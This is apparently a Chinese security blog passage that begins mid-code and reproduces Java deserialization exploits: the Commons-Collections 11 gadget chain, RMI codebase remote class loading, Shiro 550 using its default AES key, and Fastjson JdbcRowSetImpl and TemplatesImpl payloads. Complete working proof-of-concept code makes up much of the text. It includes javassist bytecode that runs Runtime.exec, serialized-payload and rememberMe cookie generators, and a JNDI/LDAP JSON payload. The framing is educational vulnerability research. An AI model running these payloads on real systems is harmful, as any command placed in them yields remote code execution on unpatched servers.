fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
Reference Commons-Collections 1-7 分析
Commons Collections 11 前言 学完cc1-7好久,研究shiro550的时候发现要用到cc11,因为一些原因cc6不能用。
因此在这里会对cc11进行详细讲解,同时也是对之前的cc链的复习。
cc11是cc1、cc2、cc5、cc6的结合,用到了InvokerTransformer、javassist字节码编写、TemplateImpl字节码执行、TiedMapEntry、HashMap等
环境搭建 这次我是直接使用maven创建的项目,就不用自己来导包了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > CommonsCollections11</artifactId > <version > 1.0-SNAPSHOT</version > <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.19.0-GA</version > </dependency > </dependencies > </project >
分析 恶意class字节码编写 每个ctClass代表我们要修改的class,因此我们在classPool中创建一个名叫Evil的CtClass
通过静态代码块,插入执行代码
1 2 3 4 5 6 7 ClassPool classPool = ClassPool.getDefault();CtClass cc = classPool.makeClass("Evil" );String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ;cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte [] evilbytes = cc.toBytecode();
TemplatesImpl加载恶意class 在TemplateImpl中查找defineClass
关键字,因为我们知道ClassLoader就是通过方法**defineClass()**来加载字节码的。
通过以下图可知,我们可以传入一个_tfactory
的值(new一个它Class的新对象就可以)和_bytecodes
(恶意字节码),然后再让获取到的loader来call它的defineClass(),从而将我们的字节码加载进jvm
上面的流程是在defineTransletClasses()里的,接下来我们要找到什么地方调用了defineTransletClasses()
发现**getTransletInstance()调用了 defineTranslateClasses()**,同时如果我们要使用该方法,需要让_name
不为空,_class
为空
newTransformer()调用了 getTransletInstance()
getOutputProperties()调用了 newTransformer()
因此TemplateImpl执行顺序如下
getOutputProperties->newTransformer()->getTransletInstance()->defineTranslateClasses()->defineClass()
那么其实只要找到调用TemplatesImpl#getOutputProperties或者TemplatesImpl#newTransformer()的地方就可以连接上了。
我们先编写一些TemplatesImpl的部分
1 2 3 4 5 6 7 8 9 10 11 12 TemplatesImpl templates = new TemplatesImpl (); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,new byte [][]{evilbytes}); Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"LeiHello" ); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ());
已知TemplatesImpl#getOutputProperties或者TemplatesImpl#newTransformer()任意一个方法被调用都可以触发。这里我们以newTrasnformer()
为例
看一下调用的情况:
在之前的cc3中已经分析过了TrAXFilter()
的调用,在cc11里我们不再使用该链。
还记得InvokerTransformer吗,它是在commons-collections 3.1版本中存在的最为经常被使用的一个类。我们可以使用该类call任意方法。
再来回顾一下InvokerTransformer#transform 方法
因此我们可以这样写
1 InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" ,null ,null );
在之前对cc链的分析中,后续的利用导致在生成payload阶段就触发了执行,因此我们在这里应该先随意写一个method作为占位,之后再进行修改
1 InvokerTransformer invokerTransformer = new InvokerTransformer ("getClass" ,null ,null );
接下来寻找调用invokerTransformer#transform的方法,同时能够传入input=templates
(我们的恶意class)
LazyMap 这里不再像之前的cc链一样使用ChainedTransformer,相反我们使用LazyMap来继续完成这个链。LazyMap有一个get()方法:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
如果this.factory为invokerTransformer,则当LazyMap#get被调用的时候,命令可以执行。
所以需要构造LazyMap
可以直接通过decorate方法来构造:
1 2 Map map = new HashMap ();Map lazyMap = LazyMap.decorate(map, invokerTransformer);
TiedMapEntry 现在需要找到一个Class能够调用LazyMap#get()方法,我们找到了TiedMapEntry
在TiedMapEntry#get()处调用了getValue()方法
1 2 3 public Object getValue () { return this .map.get(this .key); }
同时hashCode方法调用了getValue()方法
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
这样写:
1 TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,templates);
HashMap 为了调用TiedMapEntry#hashCode方法,可以利用HashMap的反序列化操作。
在HashMap中,它有自己的readObject()方法
首先会反序列化HashMap中的key和value
在最后一行,调用了hash(key)
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
hash方法中调用了key.hashCode()
因此,如果我们将之前的tiedMapEntry放入hashMap的key中,就能触发整个利用链了。
1 2 HashMap hashMap = new HashMap ();hashMap.put(tiedMapEntry,"helloWorld" );
记得前面我们只是添加了在InvokerTransformer中添加了占位符号,下面需要改一下:
1 2 3 4 lazyMap.clear(); Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName" );iMethodName.setAccessible(true ); iMethodName.set(invokerTransformer,"newTransformer" );
POC构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class cc11 { public static void main (String[] args) throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException, IllegalAccessException, ClassNotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte [] evilbytes = cc.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,new byte [][]{evilbytes}); Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"LeiHello" ); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("getClass" ,null ,null ); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,templates); HashMap hashMap = new HashMap (); hashMap.put(tiedMapEntry,"helloWorld" ); lazyMap.clear(); Field iMethodName = invokerTransformer.getClass().getDeclaredField("iMethodName" ); iMethodName.setAccessible(true ); iMethodName.set(invokerTransformer,"newTransformer" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("1.ser" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("1.ser" )); inputStream.readObject(); } }
另一版本的POC我也放在仓库**Java-deserialization-vulnerability **上了(流程是一样的,不过是提取了一些方法,看起来更简洁一些)
总结 终于学完了cc链,收获非常多,尤其是对java反射、代理和利用链的构造思路有了更深的理解。也非常感谢网上各位师傅无私的共享,才能让我看到这么精彩的分析。
RMI反序列化漏洞 RMI前置知识 Java反序列化漏洞之JAVA RMI原理、流程(2)
Codebase远程命令执行 前言 在有些环境条件下,我们需要远程加载一些本地不存在的类,而codebase
便是用来告诉JAVA应该从哪里远程加载本地不存在的类。
codebase可以是http, ftp这样的url地址,例如当我们加载example 类时,Java发现本地并不存在这样的类,它就会去codebase指向的地址搜索下载example 类并加载。
如果codebase是可控的,那么我们就可以让服务器恶意加载我们的攻击类(这个类在服务器上并不存在)。
Java官方自然注意到了这一点,于是采用了一些安全措施,让我们不能随意远程加载类,如果我们一定要加载远程类,需要满足以下条件:
Server安装并配置了SecurityManager
Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false
useCodebaseOnly参数在7u21、6u45版本之后默认设置为true ,表示Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取
该漏洞利用条件苛刻,因此少有人对此进行深入研究,P神在JAVA安全漫谈 中提到了该漏洞,我在复现的时候遇到了很多坑,网上的大部分资料细节都交代得不清不楚,很难弄懂,单单是这个漏洞就花了我很长时间去复现,此文将详细讲解原理,希望能够帮大家弄懂每一步。
漏洞复现 被攻击方 RemoteRMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RemoteRMIServer { private void start () throws Exception { if (System.getSecurityManager() == null ) { System.out.println("setup SecurityManager" ); System.setSecurityManager(new SecurityManager ()); } Calc h = new Calc (); LocateRegistry.createRegistry(1099 ); Naming.rebind("refObj" , h); } public static void main (String[] args) throws Exception { new RemoteRMIServer ().start(); } }
ICalc.java
1 2 3 4 5 6 import java.rmi.Remote;import java.rmi.RemoteException;import java.util.List;public interface ICalc extends Remote { public Integer sum (List<Integer> params) throws RemoteException; }
Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.rmi.Remote;import java.rmi.RemoteException;import java.util.List;import java.rmi.server.UnicastRemoteObject;public class Calc extends UnicastRemoteObject implements ICalc { public Calc () throws RemoteException {} public Integer sum (List<Integer> params) throws RemoteException { Integer sum = 0 ; for (Integer param : params) { sum += param; } return sum; } }
攻击方 RMIClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import java.rmi.Naming;import java.util.List;import java.util.ArrayList;import java.io.Serializable;public class RMIClient implements Serializable { private static final long serialVersionUID = 1L ; static { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e){ e.printStackTrace(); } } public class Payload extends ArrayList <Integer> {} public void lookup () throws Exception { if (System.getSecurityManager() == null ) { System.out.println("setup SecurityManager" ); System.setSecurityManager(new SecurityManager ()); } ICalc r = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/refObj" ); List<Integer> li = new Payload (); li.add(3 ); li.add(4 ); System.out.println(r.sum(li)); } public static void main (String[] args) throws Exception { new RMIClient ().lookup(); } }
为什么RMIClient这样写就能触发漏洞呢?
实际上,我们在Java反序列化漏洞之JAVA RMI原理、流程(2) 就有提到过,远程方法的调用是在server进行的,而并非本地client端 ,同时,远程调用的方法参数是经过序列化的。
拿这个例子来说,我们首先用ICalc r = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/refObj");
找到了Registry 上的refobj 方法,又调用了其sum 方法。关键点在于,我们在调用其sum 方法的时候传入了我们在本地构造的 Payload
类型的对象 li
,li
被序列化,随sum()
传入server进行调用 ,接着server端会对它进行反序列化 。在反序列化的过程中,RemoteRMIServer.java 发现这个Payload类它并不认识,因为在server端并没有该类。于是它就去codebase 指向的地址上找Payload类,找到后将该类的定义下载下来,然后才能反序列化li
对象。
而我们的Payload类的static方法中有恶意代码(此处我们是将payload类和RMIClient写在一起了),所以当server加载后,会执行该恶意代码。
Policy配置 Server端和Client端都需要新建一个文件来控制RMI的访问权限,这里我们命名为client.policy
1 2 3 grant { permission java.security.AllPermission; };
环境模拟 我们在IDEA中选择build project,让它生成class文件。
此时out目录下会生成我们所有的class文件
在真实环境中,RMIClient 是在攻击者的电脑上运行的,所以我把RMIClient 移动到其他目录 下来模拟这个环境。
如果你进入out/production/RM_ITEST生成目录(不在IDEA中)下看的话,你会发现还有一个class文件 - RMIClient$Payload.class ,这是我们在RMIClient内部生成的class文件,也就是Server会去找的Payload类,我们也不能让它与RemoteRMIServer.class 在一个目录,不然Server端是能在本地找到Payload类的,从而不能触发漏洞。同样将它移动到其他目录去,这里我把它和RMIClient.class、ICalc 放一起。
这里可能会有疑问为什么要将ICalc 也放在这,因为我们在Client的代码中将stub转换成了ICalc类,所以也得放在一起。那能不能不转换呢?答案是不可以,经过测试,Stub必须被转化为相应的类,否则call其方法的时候不会有反应。注意这里也需要client.policy,因为我们在client也配置了SecurityManager
一切准备就绪,先运行Server端
这里我选择用terminal 来执行,你也可以使用IDEA的配置来执行
java -Djava.rmi.server.hostname=127.0.0.1 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer
此处hostname 为你RMI服务器的地址,security.policy 是我们之前创建的policy文件的名字,RemoteRMIServer 是我们要运行的Java class文件名字
你需要在生成的相关class 文件目录下运行命令(之前一直在IDEA下面的terminal运行,运行实际是在java文件目录下,导致卡在这里很久)
接着你需要模仿攻击者,在你的恶意类(RMIClient$Payload.class)所在目录搭建一个http 服务,供server 端访问下载你的恶意类
此处我使用python,在本地搭建了一个8080端口的web服务
接着,可以用RMIClient 实施攻击了
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://127.0.0.1:8080/ -Djava.security.policy=client.policy RMIClient
这里的codebase是你搭建的web服务地址,RMIClient 为你运行的Class名字。
成功弹出计算器!计算器被弹出两次 ,第一次是因为Client创建Payload实例(在攻击者电脑上弹出),第二次是远程执行(在被攻击服务端上弹出)。
同时我们在python运行的web服务上也能看到class加载记录
Reference P神 - Java安全漫谈
Shiro反序列化漏洞系列 Shiro550反序列化漏洞 环境搭建 1 2 3 git clone https://github.com/apache/shiro.git cd shirogit checkout shiro-root-1.2.4
在Intellij中将samples/web 以项目的形式打开,在pom.xml中将jstl修改为1.2版本
1 2 3 4 5 6 <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency >
整个project将使用jdk1.8
Tomcat配置如下:
运行即可。
反序列化触发流程 入手点 问题主要出在登录处的Remember Me 功能。
我们发现登陆后的cookie中会有rememberMe的字段,同时后面跟了一长串的数据。
我们猜测rememberMe可能保存了我们的账号密码数据
为了验证我们的猜想,在Intellij中连续按两下shift,搜索RememberMe
这里找到了相关的Class,我们进入AbstractRememberMeManager看一下
看名字,我们就能猜出是和Remember Me这个功能有关
看一下它的constructor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );public AbstractRememberMeManager () { this .setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } public void setCipherKey (byte [] cipherKey) { this .setEncryptionCipherKey(cipherKey); this .setDecryptionCipherKey(cipherKey); } public void setEncryptionCipherKey (byte [] encryptionCipherKey) { this .encryptionCipherKey = encryptionCipherKey; } public void setDecryptionCipherKey (byte [] decryptionCipherKey) { this .decryptionCipherKey = decryptionCipherKey; }
我们发现,AbstractRememberMeManager 被创建的时候,会setCipherKey ,而这个key是默认的。
分析到这里,好像和我们的remember Me没什么关系,继续往下看。
RememberMe生成
我们在登录成功这里下个断点,发现他会call到rememberIdentity()
我们跟进去
1 2 3 4 5 6 7 public void rememberIdentity (Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) { PrincipalCollection principals = this .getIdentityToRemember(subject, authcInfo); this .rememberIdentity(subject, principals); } protected PrincipalCollection getIdentityToRemember (Subject subject, AuthenticationInfo info) { return info.getPrincipals(); }
我们发现principals实际上我们的登录名
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = this .convertPrincipalsToBytes(accountPrincipals); this .rememberSerializedIdentity(subject, bytes); }
获取到账号后,又会call到rememberIdentity()
我们跟进convertPrincipalsToBytes()
再跟进encrpyt()
1 2 3 public byte [] getEncryptionCipherKey() { return this .encryptionCipherKey; }
发现encryptionCipherKey
在之前分析的时候出现过
再回顾一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );public AbstractRememberMeManager () { this .setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } public void setCipherKey (byte [] cipherKey) { this .setEncryptionCipherKey(cipherKey); this .setDecryptionCipherKey(cipherKey); } public void setEncryptionCipherKey (byte [] encryptionCipherKey) { this .encryptionCipherKey = encryptionCipherKey; } public void setDecryptionCipherKey (byte [] decryptionCipherKey) { this .decryptionCipherKey = decryptionCipherKey; }
到现在,我们已经明白,用户信息被做了AES加密
当加密数据都被返回后,下一步会执行rememberSerializedIdentity()
因此我们可以判断出cookie中的rememberMe的产生流程
序列化用户名
AES加密序列化后的数据
base64编码处理上一步的数据
最后放入cookie
RememberMe解密 在AbstractRememberMeManager#getRememberedPrincipals下一个断点
然后重启服务器,会被断下来
现在RememberMe解密的流程也显而易见:
从Cookie中获取RememberMe值
获取到的值进行base64解码
base64解码
反序列化
漏洞利用及POC 首先在pom.xml中添加commons-collections dependency
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
注意要reload maven(因为忘记重载maven,在这里卡了半天,发现后面的ClassLoader一直找不到class,调试半天也没搞明白为什么没有这个库)
这里我们将用到CommonsCollections11 的链,CC6的链在此处不能打成功 - 因为Transformer[]会在寻找class的时候出现格式问题,其中会涉及到ParallelWebappClassLoader 的父类WebappClassLoaderBase#loadClass ;因此我们选择CommonCollections11这个链(没有Transformer[]数组)
详见 https://www.cnblogs.com/W4nder/p/14508817.html,我在此处就不多讲解。
POC构造
此处我新建了一个项目,同时导入了三个库
shiro-core-1.2.4
slf4j-api-1.6.4
slf4j-simple-1.6.4
这三个jar包可以在shiro-web项目中找到: 打开shiro-web项目下的pom.xml文件,搜索这三个库,然后鼠标放在名字上面即可看到路径
然后找到相应的目录,copy jar包并导入我们的POC项目即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import org.apache.shiro.codec.Base64;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.FileInputStream;import java.io.IOException;public class shiro550 { public static void main (String[] args) throws IOException { byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" ); AesCipherService aesCipherService = new AesCipherService (); byte [] evilObj = getSerializedObj(); ByteSource finalsource = aesCipherService.encrypt(evilObj, DEFAULT_CIPHER_KEY_BYTES); System.out.println(finalsource.toString()); } public static byte [] getSerializedObj() throws IOException { int n; FileInputStream fileInputStream = new FileInputStream ("1.ser" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); while ((n=fileInputStream.read())!=-1 ){ byteArrayOutputStream.write(n); } return byteArrayOutputStream.toByteArray(); } }
为什么我们加密后可以直接返回**finalsource.toString()**,不是说最后要base64编码吗?
我们跟踪到最后可以发现,其返回了SimpleByteSource#toString()方法,而它就是返回了 toBase64()
现在我们将生成出来的一串字符复制到cookie的rememberMe 处,执行后发现计算器弹出。
Reference shiro-1.2.4反序列化分析踩坑
P神-Java漫谈
FastJson反序列化漏洞系列 前言 FastJson是由阿里巴巴开发的一个java库,可将对象快速转换为json字符,同时也可将json字符串转化为相应的对象
Fastjson的基础使用 场景 在做RESTFUL项目的时候常常需要将json数据格式进行转换,比如将{name:"leihehe", age: 18}
转成Student类的Object
环境搭建 在MAVAN中添加fastjson即可,本文将分析1.2.4及其之后的各种版本,测试时将下面的version进行修改即可。
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
将对象转化为json格式 首先准备一个User类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class User { String name; public User () { System.out.println("constructor invoked" ); } public String getName () { System.out.println("get name" ); return name; } public void setName (String name) throws IOException { System.out.println("set name" ); this .name = name; } @Override public String toString () { return "User{" + "name='" + name + '\'' + '}' ; } }
写一个main方法测试:
1 2 3 4 5 6 7 8 9 10 11 12 public class Test { public static void main (String[] args) throws IOException { User user = new User (); user.setName("leihehe" ); String result = JSON.toJSONString(user); String result2 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(result); System.out.println(result2); } }
在这里toJSONString
有两种写法
Json.toJSONString(obj)
Json.toJSONString(obj,SerializerFeature.WriteClassName)
可以发现toJSONString
会call到get方法,其中第二种JSONString
会返回@type,从而指明object所在类。
将json格式转化为对象 FastJson有两种 转换json格式为对象的方法
JSON.parse(str)
JSON.parseObject(str)
这两个其实都是一样的,只是parseObject()
要比parse()
多一个toJson()
,也就是parseObject()
返回的是JSONObject
,而parse()
返回的是其实际的类的对象
1 2 3 4 public static JSONObject parseObject (String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
parseObject()在实际运行的时候会调用get和set方法,其中get方法会在toJSON()
中被调用
而parse()只会调用对象的set方法
此处我们以parse()
进行演示
1 2 3 4 String jsonString="{\"name\":\"leihehe\"}" ; Object obj2 = JSON.parse(jsonString);System.out.println(obj2);
set 方法并未被调用,因为fastJSON并不知道传过来的json应该被转换为哪一个类的对象,因此我们需要指定其type
1 2 3 String jsonString = "{\"@type\":\"entity.User\",\"name\":\"leihehe\"}" ;Object obj2 = JSON.parse(jsonString);System.out.println(obj2);
可见调用了constructor和set方法。
那么可以将恶意执行代码放在User#setName()
里,就能执行了
1 2 3 4 5 6 public void setName (String name) throws IOException { System.out.println("set name" ); Runtime.getRuntime().exec("calc" ); this .name = name; }
Setter和Getter调用的深入探究 JavaBeanInfo#build Fastjson是如何调用对应的setter和getter的呢?
关键点在于JavaBeanInfo#build方法中
因为我们传入的@type并不满足该条件,因此不会进入if里的语句。
Setter 继续往下看,这里的methods实际是上面的
1 Method[] methods = clazz.getMethods();
此处遍历了所有的methods,并要求满足以下条件 :
method name的长度大于等于4
method只能有一种parameter
method并非static类型
method的返回类型必须为void或者当前method所在的class的类型
这样才能进入执行下面的语句
根据不同的情况,会产生不同的propertyName,简单来说,都是依照java常见的书写方法的格式。
如果以上条件都不满足,则在method的第一个字符变为大写并在前面加上is作为field
最后用add方法,将filed添加到filedInfo中
Getter 紧跟着的,是Getter的获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 for (i = 0 ; i < var29; ++i) { method = var30[i]; String methodName = method.getName(); if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get" ) && Character.isUpperCase(methodName.charAt(3 )) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) { JSONField annotation = (JSONField)method.getAnnotation(JSONField.class); if (annotation == null || !annotation.deserialize()) { String propertyName; if (annotation != null && annotation.name().length() > 0 ) { propertyName = annotation.name(); } else { propertyName = Character.toLowerCase(methodName.charAt(3 )) + methodName.substring(4 ); } fieldInfo = getField(fieldList, propertyName); if (fieldInfo == null ) { if (propertyNamingStrategy != null ) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo (propertyName, method, (Field)null , clazz, type, 0 , 0 , 0 , annotation, (JSONField)null , (String)null )); } } } }
可以看出被调用的getter需要满足以下要求 :
Method name >=4
method不是static类型的
method name必须以get开头
method name的第四个字符必须是大写
method是无参的
method的返回类型是Collection、Map、AtomicBoolean、AtomicInteger、或AtomicLong中的任意一个
最后会被添加到FieldInfo中
Build方法的最后会返回一个JavaBeanInfo
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);
Fastjson的反序列化流程 在JSON.parse()
处下个断点
一直往下走,可以看见创建了DefaultJSONParser
对象
跟进去看是如何创建的:
这里会判断开头字符是否为{
,如果是,那么赋值token为12
接下来再进入parse()
因为之前token设置为12,所以跳入了case 12
创建一个新的JSONObject
,并call到parseObject()
继续往下走:
在TypeUtils#loadClass
中判断className,这里都不满足,因此跳过。
mappings.put(className, clazz);
将classname和对应的class放入mapping中,最后在进行反序列化。
JdbcRowSetImpl利用链 利用链分析 JdbcRowSetImpl
可以配合JNDI+RMI或者JNDI+LDAP注入,如果不知道JNDI注入的师傅可以看这里
在JdbcRowSetImpl.class的connect方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
发现了initialContext和lookup(),代表此处可以利用JNDI - 如果我们修改了dataSourceName
为我们的RMI或者LDAP远程地址,那么就可以进行JNDI注入。
那么什么地方可以call到**connect()**呢
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
在setAutoCommit方法中,会call到connect()方法。
POC构造 在之前的Fastjson的反序列化流程 中,我们有说到fastjson可以调用public的set方法,那么我们就可以构造这样的一个 jsonString
1 2 3 4 5 String evilStr="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}" ; Object obj2 = JSON.parse(evilString);System.out.println(obj2);
传入的json中,属性有dataSourceName和autoCommit,因此在使用JSON.parse()
的时候,dataSource和autoCommit对应的setDataSource()
和autoCommit()
都会被call
从而能够执行以下代码
1 initialContext.lookup("ldap://127.0.0.1:7777/#EvilObject" )
TemplatesImpl利用链 利用链分析 在cc链的分析中,我们多次用到了TemplatesImpl利用链,利用链如下
TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
简单回顾一下,我们可以将生成的恶意字节码赋值给TemplatesImpl中的_bytecodes
,最后在defineClass中,会将该恶意字节码读取进JVM中。
先写一个恶意字节码:
1 2 3 4 5 6 7 8 9 10 11 12 public static String getEvilCode () throws CannotCompileException, IOException, NotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("Evil" ); classPool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); ctClass.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");" ); ctClass.setSuperclass(classPool.getCtClass(AbstractTranslet.class.getName())); byte [] bytes = ctClass.toBytecode(); String s = Base64.getEncoder().encodeToString(bytes); System.out.println(s); return s; }
这里为什么要继承AbstractTranslet 呢?
我们在讲cc2链的时候说过,我们生成的恶意代码是在static代码块的,我们仍然需要让class对象被创建,这样才能执行我们的恶意代码。
此处TemplatesImpl#getTransletInstance 中,我们需要执行了newInstance()
才能触发漏洞,而执行的字节码需要继承AbstractTranslet
为什么bytecodes 最后需要用Base64 编码?
实际上fastjson在对field进行反序列化的时候,会进行base64解码,具体的我没有跟,有兴趣的师傅可以跟一下FieldDeserializer#parseField
POC构造与分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import java.io.IOException;import java.util.Base64;public class EvilClass { public static String getEvilCode () throws CannotCompileException, IOException, NotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("Evil" ); classPool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); ctClass.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");" ); ctClass.setSuperclass(classPool.getCtClass(AbstractTranslet.class.getName())); byte [] bytes = ctClass.toBytecode(); String s = Base64.getEncoder().encodeToString(bytes); System.out.println(s); return s; } public static void main (String[] args) throws CannotCompileException, IOException, NotFoundException { String evilJson="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" +getEvilCode()+"\"],\"_name\":\"leihehe\",\"_tfactory\":{ },\"outputProperties\":{ }}\n" ; JSON.parseObject(evilJson,Object.class,Feature.SupportNonPublicField); } }
此处outputProperties会让fastjson找到getOuputProperties(),从而触发利用链。
但需要注意的是,在TemplatesImpl类中这几个方法是private的,所以我们需要开启Feature.SupportNonPublicField
,这里也是导致TemplatesImpl
链在fastjson反序列化漏洞利用中有所局限性 的主要原因。
另外,在我们使用parseObject()时,需要指定为Object.class,否则返回的类型是JSONObject类型
JSON.parseObject()
和JSON.parse()
需要满足的格式:
JSON.parseObject(evilJson, Object.class, Feature.SupportNonPublicField);
JSON.parse(evilJson,Feature.SupportNonPublicField);
后面的field基本上就是用反射的形式,设置value,例如_bytecodes
最后的outputProperties也一样,最后通过反射执行。
弹出计算器
总结两条利用链的区别 TemplatesImpl
当fastjson不出网时,可以盲打
